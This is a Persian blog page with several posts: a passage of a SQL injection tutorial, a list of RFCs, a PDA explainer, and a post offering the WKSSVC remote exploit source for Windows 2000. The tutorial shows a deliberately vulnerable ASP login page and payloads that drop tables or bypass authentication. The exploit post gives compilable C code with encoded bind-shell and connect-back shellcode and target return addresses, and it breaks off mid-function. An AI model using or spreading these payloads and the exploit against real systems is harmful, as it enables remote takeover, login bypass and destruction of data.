پاک خواهد شد! دليل آن را هم کمي جلوتر بررسي خواهيمAuthorحال اگر نفوذگر مقادير ورودي را به صورت زير وارد کند تمام اطلاعات جدول

کرد:







Forename: jo'; drop table authors--

Surname:





ظاهرا تمام ماجرا همين است يعني نفوذگر به راحتي و با وارد کردن عبارات مختلف در ورودي و يا تنظيم عباراتي که در ديتابيس به عنوان دستور به کار مي روند مي تواند به قسمتهاي مختلف ديتابيس دسترسي پيدا کند! اين حرف کاملا درست است اما ما تنها يک مثال ساده را بررسي کرديم. در بسياري از موارد مشکلات فراواني وجود دارد که نفوذگر بايد آنها را از پيش رو بردارد. براي مثال تمام منابع ورودي کاربران ما ممکن است به شکل زير باشد: queryداشته باشد authorرا از ليست idلزوما به شکل رشته نيست مثلا اگر کاربر توانايي انتخاب يک



select id, forename, surname from authors where id=1234



مختلف هرکدام از يک روش براي SQLدر اين شرايط يک نفوذگر مي تواند به راحتي موارد مورد نياز خود را به انتهاي رشته بيافزايد. در زبانهاي استفاده `#`براي جدا سازي تاريخ ازکارکترMicrosoft Jet DBMSجداسازي مقادير ورودي کاربران استفاده مي کنند. براي مثال در

مي شود. پس تنظيم مقادير ورودي براي نفوذگر کاملا به نوع زبان بستگي دارد و نمي توان به طور کلي روشي پيشنهاد کرد. همچنين در نميتواند همه نيازها را برآورده کند. کمي جلوتر به کمک مثالهايي به اين موضوع پي `بسياري از موارد وارد کرد کاراکتر هاي منفردي مانند

خواهيم برد که چگونه به کمک مجموعه اي از کاراکتر به قسمتهاي مختلف ديتابيس دسترسي پيدا کنيم.

براي Process_login.asp را مي بينيم که به کمک آن مقادير ورودي از کاربر جمع آوري شده و در اختيار يکHTMLدر زير مثالي از يک صفحه

پردازش مقادير ورودي قرار مي گيرد.





<HTML>

<HEAD>

<TITLE>Login Page</TITLE>

</HEAD>

<BODY bgcolor='000000' text='cccccc'>

<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

<TABLE>

<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%

width=100></INPUT></TD></TR>

<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>

</TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM>

</FONT>

</BODY>

</HTML>





مي تواند ASP مي فرستد. aspصفحه فوق فقط کار جمع آوري مقادير ورودي از کاربران را انجام مي دهد و سپس آنها را براي پردازش به يک

به صورت زير باشد:





<HTML>

<BODY bgcolor='000000' text='ffffff'>

<FONT Face='tahoma' color='ffffff'>

<STYLE>

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )

{

if( Request.form("debug") == "true" )

Response.write( str );

}

function Login( cn )

{

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF)

{

rso.close();

%>

FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>

<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

}

else

{

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

Welcome,

<% Response.write(rso("Username"));

Response.write( "</BODY></HTML>" );

Response.end

}

}

function Main()

{

//Set up connection

var username

var cn = Server.createobject( "ADODB.Connection" );

cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

username = new String( Request.form("username") );

if( username.length > 0)

{

Login( cn );

}

cn.close();

}

Main();

%>







نيست. اما توجه شما را به قسمت اصلي که کارپردازش مقادير ورودي از صفحه aspنياز چنداني به دانستن جزييات در طراحي يک صفحه

اول را انجام مي دهد جلب مي کنيم. در واقع نقطه شکست و قسمت خطرناک قضيه که مي تواند مورد سوء استفاده قرار بگيرد در اين بخش را انجام مي دهد و به صورت زير آن را ايجاد مي کند:Queryنهفته است. اينجا همان بخشي است که کار توليد رشته



var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";



اگر نفوذگر دستورات زير را در ورودي فرم وارد کند :



Username: '; drop table users--

Password:



ليست کليه کاربران حذف خواهد شد! و ديگر هيچ کاربري نمي تواند به ديتابيس دسترسي داشته باشد. همانطور که مي دانيم کارکتر – ديگراست. وجود علامت Queryو محل آغاز Queryتعيين کننده ي انتهاي يک ;است و کاراکتر Sqlتوضيح ساده منفرد در تبادلات اطلاعاتي در

- - براي ايجاد نشدن خطا در فيلد نام کاربري لازم است.

آشنايي داشته باشد. توضيح کليه اين دستورات از Sql(براي فهميدن جزييات بيشتر و اينکه چرا اين اتفاق مي افتد لازم است با دستورات

حوصله اين بحث خارج است اما در مقالاتي جداگانه کليه دستورات مورد نياز يک نفوذگر آموزش داده خواهد شد)



يک نفوذگر حتي مي تواند پا را فراتر نهاده و با دانستن کلمه کاربري به عنوان کاربر فوق به سيستم نفوذ کند! مثال زير در واقع مقاديري است مي تواند استفاده کند.اين دستورات در محل ورود نام کاربري وارد مي شوند:Adminکه نفوذگر براي ورود به سيستم با نام کاربري



Username: admin'--



نفوذگر مي تواند حتي به جاي نخستين کاربري که در جدول کلمات کاربري وجود دارد با استفاده از مقادير زير وارد شود:



Username: ' or 1=1--



و جالبتر اينکه نفوذگر مي تواند به عنوان يک کاربر خيالي و کاربري که اصلا وجود خارجي ندارد به سيستم وارد شود:



Username: ' union select 1, 'fictional_user', 'some_password', 1—



علت اين اتفاق را اينگونه مي توان توجيه کرد که سيتستم هدف تصور مي کند که مقاديري که توسط نفوذگر به عنوان ورودي استفاده شده در واقع همان مقاديري است که از ديتابيس بازيافت شده و به خيال خود اين مقادير را ديتابيس برگردانده است! و به نفوذگر اجازه ورود به سيستم را مي دهد در حالي که اصلا اين مقادير به ديتابيس ربطي نداشته و نفوذگر خود آنها را وارد کرده است!



آشنايي کامل داشته باشيد تا بتوانيد نحوه تاييد يک کاربر SQL(همانطور که در بالا ذکر شد شما بايد براي فهميدن کامل موضوع با دستورات

داراي چه معتايي هستند را متوجه شويد.به زودي مقاله اي در اين زمينه تهيه خواهد شد) SQLو اينکه مقاديري که وارد مي شوند براي



فوق براي اعتبارaspتوجه داشته باشيد که براي ورود به هيچ گونه کلمه عبوري نياز نيست و به راحتي مي توان به سيستمي که از صفحه

دهي به کاربران استفاده مي کند نفوذ کرد.نقطه قوت اين روش اين است که نفوذگر به هيچ ابزار جانبي احتياج ندارد بلکه تنها با اتکا بر هوش و ذکاوت خود و استفاده از نقاط ضعف سيستم مي تواند به آن نفوذ کند!

البته مطالبي که گفته شد تنها براي سيستمي که از صفحه فوق استفاده مي کند موثر خواهد بود چرا که اين قضيه کاملا به نحوه طراحي صفحه پردازش کلمات عبور بستگي دارد. شما مي توانيد در قسمت نام کاربري کلمه ي کاربر دلخواه خود را وارد کرده و در قسمت کلمه عبور از دستورات فوق استفاده کنيد. همچنين دستورات مشابه دستورات فوق در زير براي ورود به يک سيستم با نام کاربري دلخواه آورده شده اند:



Username : admin

Password : admin’ or a



Username : admin

Password : admin’ or a=a --



در مثال فوق نفوذگر از يک روش ساده براي نفوذ استفاده کرده است. وي کلمه کاربر را وارد و سپس در محل ورود کلمه عبور عبارت

نخواهد بود اما نفوذگرadmin را وارد مي کند. در اينجا ديتابيس به بررسي آن خواهد پرداخت. به احتمال زياد کلمه عبور Admin’ or a=a

( برابر است.a که مقدار آن با a) است و يا (admin) نيز استفاده کرده است. اين عبارت به اين مفهوم است که کلمه عبور يا Or a=aاز عبارت

برابر است! و ديتابيس با مواجه شدن با اين عبارت بديهي فرض را بر درستي کلمه عبور مي گيرد و نفوذگر مي تواندa با aخوب.مسلما مقدار

به سيستم وارد شود! يعني ديتابيس به علت درستي يک بخش از کلمه عبور( که شايد هيچ ربطي به کلمه عبور واقعي نداشته باشد!)

به orو تنها يک عبارت درست است اجازه ورود را مي دهد. در واقع ما در اينجا از عبارات شرطي استفاده کرده ايم . در عبارات شرطي که از

معني يا استفاده مي کنند تنها درست بودن يک جز براي صحت کل عبارت کافيست. در زير نمونه هاي ديگري از مثال فوق را مي بينيم. ممکن است هيچ کدام از عبارات فوق به ما کمکي نکنند چرا که قبلا هم گفته شد : موفقيت در اين روش کاملا بستگي به نحوه طراحي ديتابيس دارد.

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 RFC چيست؟
متون بسيار کامل ولی خشک و ثقيل که در مورد مفاهيم مختلف شبکه بحث می‌کنند. اين فايل‌ها به صورت متنی و با پسوند txt هستند و به‌عنوان مرجع (برای مراجعه و نه مطالعه کامل) کاربرد دارند. اين فايل‌ها يک‌بار منتشر شده و هرگز تغيير داده نمی‌شوند (حتی اگر حاوی اشتباه باشند.)


- فايل‌های RFC از کجا قابل دسترسی هستند؟

RFCها از سايت‌های بسياري قابل دسترس هستند ولی سايت مورد علاقه من برای RFCها، سايت زير است:
http://www.ietf.org/rfc/xxxxxxx.txt
که به‌جای xxxxxxx نام rfc موردنظر را می‌نویسيم. مثلا برای دسترسی به rfc791 بايد آدرس را به‌ صورت زير تايپ کنيم:
http://www.ietf.org/rfc/rfc791.txt



- ليست مشهورترين RFCها


+General Information
RFC1360 IAB Official Protocol Standards
RFC1340 Assigned Numbers
RFC1208 Glossary of Networking Terms
RFC1180 TCP/IP Tutorial
RFC1178 Choosing a Name for Your Computer
RFC1175 FYI on Where to Start:
A Bibliography of Inter-networking Information
RFC1173 Responsibilities of Host and Network Managers:
A Summary of the Oral Tradition of the Internet
RFC1166 Internet Numbers
RFC1127 Perspective on the Host Requirements RFCs
RFC1123 Requirements for Internet Hosts—Application and Support
RFC1122 Requirements for Internet Hosts—Communication Layers
RFC1118 Hitchhiker"s Guide to the Internet
RFC1011 Official Internet Protocol
RFC1009 Requirements for Internet Gateways
RFC980 Protocol Document Order Information

+TCP and UDP
RFC1072 TCP Extensions for Long-Delay Paths
RFC896 Congestion Control in IP/TCP Internetworks
RFC879 TCP Maximum Segment Size and Related Topics
RFC813 Window and Acknowledgment Strategy in TCP
RFC793 Transmission Control Protocol
RFC768 User Datagram Protocol

+IP and ICMP
RFC1219 On the Assignment of Subnet Numbers
RFC1112 Host Extensions for IP Multicasting
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC950 Internet Standard Subnetting Procedure
RFC932 Subnetwork Addressing Schema
RFC922 Broadcasting Internet Datagrams in the Presence of Subnets
RFC9l9 Broadcasting Internet Datagrams
RFC886 Proposed Standard for Message Header Munging
RFC815 IP Datagram Reassembly Algorithms
RFC814 Names, Addresses, Ports, and Routes
RFC792 Internet Control Message Protocol
RFC791 Internet Protocol
RFC781 Specification of the Internet Protocol (IP) Timestamp Option

+Lower Layers
RFC1236 IP to X.121 Address Mapping for DDN
RFC1220 Point-to-Point Protocol Extensions for Bridging
RFC1209 Transmission of IP Datagrams over the SMDS Service
RFC1201 Transmitting IP Traffic over ARCNET Networks
RFC1188 Proposed Standard for the Transmission of IP Datagrams
over FDDI Networks
RFC1172 Point-to-Point Protocol Initial Configuration Options
RFC1171 Point-to-Point Protocol for the Transmission of
Multiprotocol Datagrams over Point-to-Point Links
RFC1149 Standard for the Transmission of IP Datagrams on Avian
Carriers
RFC1055 Nonstandard for Transmission of IP Datagrams over
Serial Lines: SLIP
RFC1044 Internet Protocol on Network System"s HYPERchannel:
Protocol Specification
RFC1042 Standard for the Transmission of IP Datagrams over
IEEE 802 Networks
RFC1027 Using ARP to Implement Transparent Subnet Gateways
RFC903 Reverse Address Resolution Protocol
RFC895 Standard for the Transmission of IP Datagrams over
Experimental Ethernet Networks
RFC894 Standard for the Transmission of IP Datagrams over
Ethernet Networks
RFC893 Trailer Encapsulations
RFC877 Standard for the Transmission of IP Datagrams over
Public Data Networks

+Bootstrapping
RFC1084 BOOTP Vendor Information Extensions
RFC951 Bootstrap Protocol
RFC906 Bootstrap Loading Using TFTP

+Domain Name System
RFC1101 DNS Encoding of Network Names and Other Types
RFC1035 Domain Names—Implementation and Specification
RFC1034 Domain Names—Concepts and Facilities
RFC1033 Domain Administrators Operations Guide
RFC1032 Domain Administrators Guide
RFC974 Mail Routing and the Domain System
RFC920 Domain Requirements
RFC799 Internet Name Domains

+File Transfer and File Access
RFC1094 NFS: Network File System Protocol Specification
RFC1068 Background File Transfer Program (BFTP)
RFC959 File Transfer Protocol
RFC949 FTP Unique-Named Store Command
RFC783 TFTP Protocol (Revision 2)
RFC775 Directory Oriented FTP Commands

+Mail
RFC1341 MIME (Multipurpose Internet Mail Extensions) Mechanisms for
Specifying and Describing the Format of Internet Message
Bodies
RFC1143 Q Method of Implementing Telnet Option Negotiation
RFC1090 SMTP on X.25
RFC1056 PCMAIL: A Distributed Mail System for Personal Computers
RFC974 Mail Routing and the Domain System
RFC822 Standard for the Format of ARPA Internet Text Messages
RFC821 Simple Mail Transfer Protocol

+Routing Protocols
RFC1267 A Border Gateway Protocol 3 (BGP-3)
RFC1247 OSPF version 2
RFC1222 Advancing the NSFNET Routing Architecture
RFC1195 Use of OSI IS-IS for Routing in TCP/IP and Dual Environments
RFC1164 Application of the Border Gateway Protocol in the Internet
RFC1163 Border Gateway Protocol (BGP)
RFC1136 Administrative Domains and Routing Domains:
A Model for Routing in the Internet
RFC1074 NSFNET Backbone SPF-Based Interior Gateway Protocol
RFC1058 Routing Information Protocol
RFC911 EGP ateway under Berkeley UNIX 4.2
RFC904 Exterior Gateway Protocol Formal Specification
RFC888 STUB Exterior Gateway Protocol
RFC827 Exterior Gateway Protocol (EGP)
RFC823 DARPA Internet Gateway

+Routing Performance and Policy
RFC1254 Gateway Congestion Control Survey
RFC1246 Experience with the OSPF Protocol
RFC1245 OSPF Protocol Analysis
RFC1125 Policy Requirements for Inter-Administrative Domain Routing
RFC1124 Policy Issues in Interconnecting Networks
RFC1104 Models of Policy-Based Routing
RFC1102 Policy Routing in Internet Protocols

+Terminal Access
RFC1205 Telnet 5250 Interface
RFC1198 FYI on the X Window System
RFC1184 Telnet Linemode Option
RFC1091 Telnet Terminal-Type Option
RFC1080 Telnet Remote Flow Control Option
RFC1079 Telnet Terminal Speed Option
RFC1073 Telnet Window Size Option
RFC1053 Telnet X.3 PAD Option
RFC1043 Telnet Data Entry Terminal Option: DODIIS Implementation
RFC1041 Telnet 3270 Regime Option
RFC1013 X Window System Protocol, version 11: Alpha Update
RFC946 Telnet Terminal Location Number Option
RFC933 Output Marking Telnet Option
RFC885 Telnet End of Record Option
RFC861 Telnet Extended Options: List Option
RFC860 Telnet Timing Mark Option
RFC859 Telnet Status Option
RFC858 Telnet Suppress Go Ahead Option
RFC857 Telnet Echo Option
RFC856 Telnet Binary Transmission
RFC855 Telnet Option Specifications
RFC854 Telnet Protocol Specification
RFC779 Telnet Send-Location Option
RFC749 Telnet SUPDUP-Output Option
RFC736 Telnet SUPDUP Option
RFC732 Telnet Data Entry Terminal Option
RFC727 Telnet Logout Option
RFC726 Remote Controlled Transmission and Echoing Telnet Option
RFC698 Telnet Extended ASCII Option

+Other Applications
RFC1196 Finger User Information Protocol
RFC1179 Line Printer Daemon Protocol
RFC1129 Internet Time Synchronization: The Network Time Protocol
RFC1119 Network Time Protocol (version 2) Specification
and Implementation
RFC1057 RPC: Remote Procedure Call Protocol Specification: Version 2
RFC1014 XDR: External Data Representation Standard
RFC954 NICNAME/WHOIS
RFC868 Time Protocol
RFC867 Daytime Protocol
RFC866 Active Users
RFC865 Quote of the Day Protocol,
RFC864 Character Generator Protocol
RFC863 Discard Protocol
RFC862 Echo Protocol

Network Management
RFC1271 Remote Network Monitoring Management Information Base
RFC1253 OSPE version 2: Management Information Base
RFC1243 Appletalk Management Information Base
RFC1239 Reassignment of Experimental MIBs to Standard MIBs
RFC1238 CLNS MIB for Use with Connectionless Network Protocol (ISO
8473) and End System to Intermediate System (ISO 9542)
RFC1233 Definitions of Managed Objects for the DS3 Interface Type
RFC1232 Definitions of Managed Objects for the DS1 Interface Type
RFC1231 IEEE 802.5 Token Ring MIB
RFC1230 IEEE 802.4 Token Bus MIB
RFC1229 Extensions to the Generic-Interface MIB
RFC1228 SNMP-DPI: Simple Network Management Protocol Distributed
Program Interface
RFC1227 SNMP MUX protocol and MIB
RFC1224 Techniques for Managing Asynchronously Generated Alerts
RFC1215 Convention for Defining Traps for Use with the SNMP
RFC1214 OSI Internet Management: Management Information Base
RFC1213 Management Information Base for Network Management of
TCP/IP-based Internets: MiB-II
RFC1212 Concise MIB Definitions
RFC1187 Bulk Table Retrieval with the SNMP
RFC1157 Simple Network Management Protocol (SNMP)
RFC1156 Management Information Base for Network Management of
TCP/IP-based Internets
RFC1155 Structure and Identification of Management Information for
TCP/IP-Based Internets
RFC1147 FYI on a Network Management Tool Catalog: Tools for
Monitoring
and Debugging TCP/IP Internets and Interconnected Devices
RFC1089 SNMP over Ethernet

+Tunneling
RFC1241 Scheme for an Internet Encapsulation Protocol: Version 1
RFC1234 Tunneling IPX Traffic through IP Networks
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC1002 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Detailed Specifications
RFC1001 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Concepts and Methods

+OSI
RFC1240 OSI Connectionless Transport Services on Top of UDP:
Version 1
RFC1237 Guidelines for OSI NSAP Allocation in the Internet
RFC1169 Explaining the Role of GOSIP

+Security
RFC1244 Site Security Handbook
RFC1115 Privacy Enhancement for Internet Electronic Mail:
Part III Algorithms, Modes, and Identifiers [Draft]
RFC1114 Privacy Enhancement for Internet Electronic Mail:
Part II Certificate-Based Key Management [Draft]
RFC1113 Privacy Enhancement for Internet Electronic Mail: Part I—
Message Encipherment and Authentication Procedures [Draft]
RFC1108 Security Options for the Internet Protocol

+Miscellaneous
RFC1251 Who"s Who in the Internet: Biographies of
IAB, IESG, and IRSG Members
RFC1207 FYI on Questions and Answers: Answers to Commonly
Asked "Experienced Internet User
RFC1206 FYI on Questions and Answers: Answers to Commonly
Asked "New Internet User" Questions
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 PDA چيست ؟
PDA يا Personal Digital Assistant يك رايانه همراه و جيبي است كه از آن براي تنظيم و نگهداري برخي اطلاعات شخصي استفاده ميشود .

اين رايانه در حقيقت حكم دفترچه يادداشت شما را دارد. شما مي توانيد در اين رايانه فهرستي از كارهايي كه بايد انجام دهيد ، فهرست قرارها ، نام ها ، شماره تلفن ها و نشاني ها يي را كه مي خواهيد داشته باشيد ، ثبت و نگهداري كنيد .

اين رايانه به كوچكي يك كف دست است ، بنا براين براحتي در جيب شما جا مي گيرد و مي توانيد درست مانند يك دفترچه يادداشت ، آن را همه جا همراه خود ببريد.

P D A قلمي كوچك هم دارد كه استيلوس ناميده مي شود . اين قلم كه جنس آن از تركيبات كربن است ، براي انتخاب موارد مختلف و آيكون هاي متفاوت روي صفحه كوچك P D A استفاده مي شود و كاركردن با اين دفترچه يادداشت رايانه اي را آسان مي كند .

در حال حاضر بسياري از توليد كننده هاي نرم افزاري مختلف نسخه هايي از نرم افزارهاي خود مانند مرور گر وب ، تلفن اينترنتي و غيره را مخصوص اين رايانه ها ارائه مي كنند . در ضمن شما مي توانيد ميان اين رايانه با رايانه معمولي خود هم ارتباط برقرار كنيد .

در حال حاضر انواع مختلفي ازP D A به وسيله شركتهاي مختلف روانه بازار مي شود كه معروف ترين آنها پالم (Palm) نام دارد كه بيش از 80 در صد بازار را در اختيار خود دارد . اين رايانه مي تواند با استفاده از وسايل جانبي خود به وسايل ديگر مانند تلفن همراه ، موقعيت ياب (G.P.S) ، دوربين ديجيتال و غيره مرتبط باشد .

از محصولات ديگر ارائه شده به بازار مي توان به , IBM Work Pad pocket pc , Hand Spring و Imac اشاره كرد .
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 Microsoft Workstation Service WKSSVC Remote Exploi
اين كد نوشته Snoog در تاريخ 14 نوامبر 2003 است. فرقش با نسخه هاي ديگر اينه كه Exploit هاي مشابه، با اجرا آنها بلافاصله Services.exe به Crash دچار ميشه. ولي با اين نسخه وقتي Crash انجام ميشود كه شما از Shell خارج شديد. اينها رو هم با Visual C كامپايل كنيد. من همين كدي كه اينجا براي شما نوشتم رو عينا كپي مي كنم و كامپايل مي كنم و هيچ Error و مشكلي وجود نداره! اگر احيانا به Error مواجه شديد عيب از سيستم خودتونه!

CODE

#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmt.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcd.lib")
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"msvcrt")
#pragma comment (lib,"mpr")
#pragma warning (disable:4013)

#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <lm.h>

#define NOP 0x90
#define PORT 24876
#define KEY 0x99999999

#define ALIGN 1 // Between 0 ~ 3
#define TARGET 1
#define INTERVAL 3
#define TIME_OUT 20
#define PORT_OFFSET_1 198
#define PORT_OFFSET_2 193
#define IP_OFFSET 186
#define SC_OFFSET 20 // Gap for some NOPs...
#define RET_SIZE 2026 // Big enuff to take EIP...  

#define SC_SIZE_1 sizeof(bindport)
#define SC_SIZE_2 sizeof(connback)

#define BSIZE 2600
#define SSIZE 128

extern char getopt(int,char **,char*);
extern char *optarg;
static int alarm_fired=0;

HMODULE hMod;
FARPROC fxn;
HANDLE t1, t2;

char buff[BSIZE];

struct {
char *os;
long jmpesp;
char *dll;
}

targets[] = {
{
"Window 2000 (en) SP4",
0x77e14c29,
"user32.dll 5.0.2195.6688"
},
{
"Window 2000 (en) SP1",
0x77e3cb4c,
"user32.dll 5.0.2195.1600"
},
{
"For debugging only",
0x41424344,
"dummy.dll 5.0.2195.1600"
}
}, v;

/*
* HD Moore's shellcode.....  
*/

char bindport[]=
"\xeb\x19\x5e\x31\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x71\xa1\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x7c\xd0\x1f"
"\xd0\x3d\x34\xb7\x70\x3d\x83\xe9\x5e\x40\x90\x6c\x34\x52\x74\x65"
"\xa2\x17\xd7\x97\x75\xe7\x41\x7b\xea\x34\x40\x9c\x57\xeb\x67\x2a"
"\x8f\xce\xca\xab\xc6\xaa\xab\xb7\xdd\xd5\xd5\x99\x98\xc2\xcd\x10"
"\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd\x12\x98\x12\xd9\x95\x12\xe9\x85"
"\x34\x12\xc1\x91\x72\x95\x14\xce\xb5\xc8\xcb\x66\x49\x10\x5a\xc0"
"\x72\x89\xf3\x91\xc7\x98\x77\xf3\x93\xc0\x12\xe4\x99\x19\x60\x9f"
"\xed\x7d\xc8\xca\x66\xad\x16\x71\x09\x99\x99\x99\xc0\x10\x9d\x17"
"\x7b\x72\xa8\x66\xff\x18\x75\x09\x98\xcd\xf1\x98\x98\x99\x99\x66"
"\xcc\xb9\xce\xce\xce\xce\xde\xce\xde\xce\x66\xcc\x85\x10\x5a\xa8"
"\x66\xce\xce\xf1\x9b\x99\xf8\xb5\x10\x7f\xf3\x89\xcf\xca\x66\xcc"
"\x81\xce\xca\x66\xcc\x8d\xce\xcf\xca\x66\xcc\x89\x10\x5b\xff\x18"
"\x75\xcd\x99\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x10\x4e\x5f"
"\xdd\xbd\x89\xdd\x67\xdd\xbd\xa4\x10\xe5\xbd\xd1\x10\xe5\xbd\xd5"
"\x10\xe5\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0"
"\xc8\xc8\x66\xec\x99\xc8\x66\xcc\xa9\x10\x78\xf1\x66\x66\x66\x66"
"\x66\xa8\x66\xcc\xb5\xce\x66\xcc\x95\x66\xcc\xb1\xca\xcc\xcf\xce"
"\x12\xf5\xbd\x81\x12\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81"
"\x12\xc3\xb9\x98\x72\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65"
"\xa8\x59\x35\xa1\x79\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5"
"\xbd\x8d\xec\x78\x12\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85"
"\x98\x72\x12\x9d\x12\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4"
"\xc2\x5b\x91\x99";

char connback[]=
"\xeb\x19\x5e\x31\xc9\x81\xe9\xab\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x71\xa9\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x75\x60\x33"
"\xf9\x40\x90\x6c\x34\x52\x74\x65\xa2\x17\xd7\x97\x75\xe7\x41\x7b"
"\xea\x34\x40\x9c\x57\xeb\x67\x2a\x8f\xce\xca\xab\xc6\xaa\xab\xb7"
"\xdd\xd5\xd5\x99\x98\xc2\xcd\x10\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd"
"\x12\x98\x12\xd9\x95\x12\xe9\x85\x34\x12\xc1\x91\x72\x95\x14\xce"
"\xbd\xc8\xcb\x66\x49\x10\x5a\xc0\x72\x89\xf3\x91\xc7\x98\x77\xf3"
"\x91\xc0\x12\xe4\x99\x19\x60\x9d\xed\x7d\xc8\xca\x66\xad\x16\x71"
"\x1a\x99\x99\x99\xc0\x10\x9d\x17\x7b\x72\xa8\x66\xff\x18\x75\x09"
"\x98\xcd\xf1\x98\x98\x99\x99\x66\xcc\x81\xce\xce\xce\xce\xde\xce"
"\xde\xce\x66\xcc\x8d\x10\x5a\xa8\x66\xf1\x59\x31\x91\xa0\xf1\x9b"
"\x99\xf8\xb5\x10\x78\xf3\x89\xc8\xca\x66\xcc\x89\x1c\x59\xec\xdd"
"\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x5f\xdd\xbd\x89\xdd\x67"
"\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14"
"\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0\xc8\xc8\x66\xec\x99"
"\xc8\x66\xcc\xb1\x10\x78\xf1\x66\x66\x66\x66\x66\xa8\x66\xcc\xbd"
"\xce\x66\xcc\x95\x66\xcc\xb9\xca\xcc\xcf\xce\x12\xf5\xbd\x81\x12"
"\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81\x12\xc3\xb9\x98\x72"
"\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65\xa8\x59\x35\xa1\x79"
"\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5\xbd\x8d\xec\x78\x12"
"\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85\x98\x72\x12\x9d\x12"
"\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4\xc2\x5b\x91\x99\x09";

void err_exit(char *s) {
printf("%s\n",s);
exit(0);
}

/*
* Ripped from TESO code and modifed by ey4s for win32
* and... lamer quoted it wholesale here..... =p
*/

void doshell(int sock) {
int l;
char buf[512];
struct timeval time;
unsigned long ul[2];

time.tv_sec=1;
time.tv_usec=0;

while (1) {
ul[0]=1;
ul[1]=sock;

l=select(0,(fd_set *)&ul,NULL,NULL,&time);
if(l==1) {
l=recv(sock,buf,sizeof(buf),0);
if (l<=0) {
err_exit("-> Connection closed...\n");
}
l=write(1,buf,l);
if (l<=0) {
err_exit("-> Connection closed...\n");
}
}
else {
l=read(0,buf,sizeof(buf));
if (l<=0) {
err_exit("-> Connection closed...\n");
}
l=send(sock,buf,l,0);
if (l<=0) {
err_exit("-> Connection closed...\n");
}
}
}
}

void changeip(char *ip) {
char *ptr;
ptr=connback+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip)^KEY;
}

void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
port^=KEY;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}

void banner() {
printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n");
}

void usage(char *s) {
banner();
printf("Usage: %s [options]\n",s);
printf("\t-r\tSize of 'return addresses'\n");
printf("\t-a\tAlignment size [0~3]\n");
printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n");
printf("\t\tPort for shell to connect back (in 'listening' mode)\n");
printf("\t-s\tShellcode offset from the return address\n");
printf("\t-h\tTarget's IP\n");
printf("\t-t\tTarget types. ( -H for more info )\n");
printf("\t-H\tShow list of possible targets\n");
printf("\t-l\tListening for shell connecting\n");
printf("\t\tback to port specified by '-p' switch\n");
printf("\t-i\tIP for shell to connect back\n");
printf("\t-I\tTime interval between each trial ('connecting' mode only)\n");
printf("\t-T\tTime out (in number of seconds)\n\n");
printf("\tNotes:\n\t======\n\t'-h' is mandatory\n");
printf("\t'-i' is mandatory if '-l' is specified\n\n");
exit(0);
}

void showtargets() {
int i;
banner();
printf("Possible targets are:\n");
printf("=====================\n");
